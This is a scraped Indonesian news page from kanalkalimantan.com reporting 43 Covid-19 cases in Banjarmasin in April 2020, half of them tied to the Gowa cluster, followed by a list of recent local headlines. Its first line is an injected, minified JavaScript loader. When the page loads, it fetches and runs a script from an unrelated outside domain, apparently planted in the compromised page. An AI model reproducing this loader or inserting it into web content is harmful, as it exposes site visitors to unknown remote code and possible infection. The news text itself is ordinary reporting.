(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

43 Kasus Positif Covid-19 di Banjarmasin 20 dari Cluster Gowa


KANALKALIMANTAN.COM, BANJARMASIN – Jumlah kasus terkonfirmasi positif Covid-19 di kota Banjarmasin hingga Senin (27/4/2020) sore tercatat ada 43 kasus. Dari jumlah itu, setengahnya merupakan bagian dari Cluster Gowa.

“Setengahnya dari 43 kasus itu, 20 diantaranya merupakan cluster Gowa yang positif Covid-19,” ucap Juru Bicara Tim Gugus Tugas Percepatan Penanganan Covid-19 Kota Banjarmasin Dr Machli Riyadi di Balai Kota Banjarmasin, Selasa (28/4/2020) siang.

Dari jumlah tersebut, Kepala Dinkes Kota Banjarmasin ini memaparkan, sebagian besar menjalani perawatan di beberapa rumah sakit rujukan, sementara sebagian lainnya dilaporkan meninggal dunia. Selebihnya menjalani isolasi mandiri maupun karantina khusus.

Machli menjelaskan, cluster Gowa ini masa inkubasi sudah lewat. Terutama, kelompok pertama yang telah tiba pertama kali di Banjarmasin pada 23 Maret 2020.

Namun demikian, diakuinya belum semua bagian cluster Gowa terdata seluruhnya. “Berapa orang yang datang itu belum bisa menemukan secara keseluruhan, hanya ketemu 125 orang,” kata Machli.

Kemudian Machli melanjutkan, pada perkembangannya virus Covid-19 berevolusi. Sehingga jajarannya menemukan adanya kasus positif Covid-19 yang merupakan orang yang tidak ikut perjalanan ke Gowa dan tertular dengan orang yang menjadi bagian Cluster Gowa. “Itu yang kita temukan saat ini,” lugasnya.

Machli menekankan pentingnya kejujuran setiap orang yang bergejala, tidak hanya bagian Cluster Gowa saja. Seperti misalnya pelaku perjalanan yang pulang dari daerah zona merah.

Ketika pelaku perjalanan tidak jujur, tentunya merugikan diri sendiri. Di samping itu, juga merugikan orang lain, termasuk tim medis yang menangani diagnosa.

“Ketika pelaku perjalanan ini tidak jujur merugikan dirinya sendiri, karena penanganannya tidak sesuai dengan standar bagaimana orang itu diperlakukan sesuai diagnosa. Begitu pula orang lain. Kejujuran itu nomor satu,” pungkas Machli. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

2 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

2 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

4 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

8 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

10 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

24 jam ago

This website uses cookies.